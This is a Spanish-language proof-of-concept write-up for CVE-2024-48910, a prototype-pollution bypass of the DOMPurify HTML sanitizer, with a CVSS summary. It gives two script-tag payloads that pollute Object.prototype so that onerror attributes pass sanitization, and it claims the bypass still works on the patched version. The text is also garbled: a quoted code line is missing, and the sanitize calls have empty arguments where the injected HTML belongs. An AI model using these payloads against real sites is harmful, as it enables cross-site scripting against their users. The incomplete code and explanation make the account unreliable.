
Exploit de prueba de concepto para CVE-2024-48910, que demuestra el bypass de contaminación de prototipos del sanitizador XSS DOMPurify para ejecutar JavaScript arbitrario mediante atributos HTML manipulados.
CVE-2024-48910 DOMPurify, un sanitizador XSS solo para DOM, súper rápido y ultra tolerante para HTML, MathML y SVG, se encontró vulnerable a la contaminación de prototipos (CVE-2024-48910). La vulnerabilidad fue descubierta y corregida en la versión 2.4.2, con la divulgación inicial realizada el 31 de octubre de 2024 .
La vulnerabilidad de contaminación de prototipos en DOMPurify podría permitir a los atacantes manipular los atributos del prototipo de objetos, lo que podría llevar a evasiones de seguridad y modificaciones no autorizadas del comportamiento de la aplicación. La alta puntuación CVSS indica un impacto potencial significativo en la seguridad del sistema, afectando particularmente la confidencialidad e integridad de los datos
A la vulnerabilidad se le ha asignado una puntuación base CVSS v3.1 de 9.1 (CRÍTICA) con la cadena de vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. Esto indica que la vulnerabilidad puede ser explotada de forma remota con baja complejidad de ataque, no requiere privilegios ni interacción del usuario, y puede resultar en un alto impacto tanto en la confidencialidad como en la integridad, aunque sin afectar la disponibilidad
En los registros de cambios, se puede ver que se añadió un caso de prueba que involucra .__proto__., lo que sugiere que es una inyección de prototipo.

La siguiente línea que se añadió fue, lo que significa que antes estaba evaluando a true para cualquier cosa que fuera truthy.

Protección XSS eludida - onerror ahora está "permitido"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
A pesar de actualizar a 2.4.2, todavía puedo hacer que aparezca alert()... todo lo que tienes que hacer es establecer Object.prototype.hasOwnProperty = () => true; para eludir la protección ¡¡LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>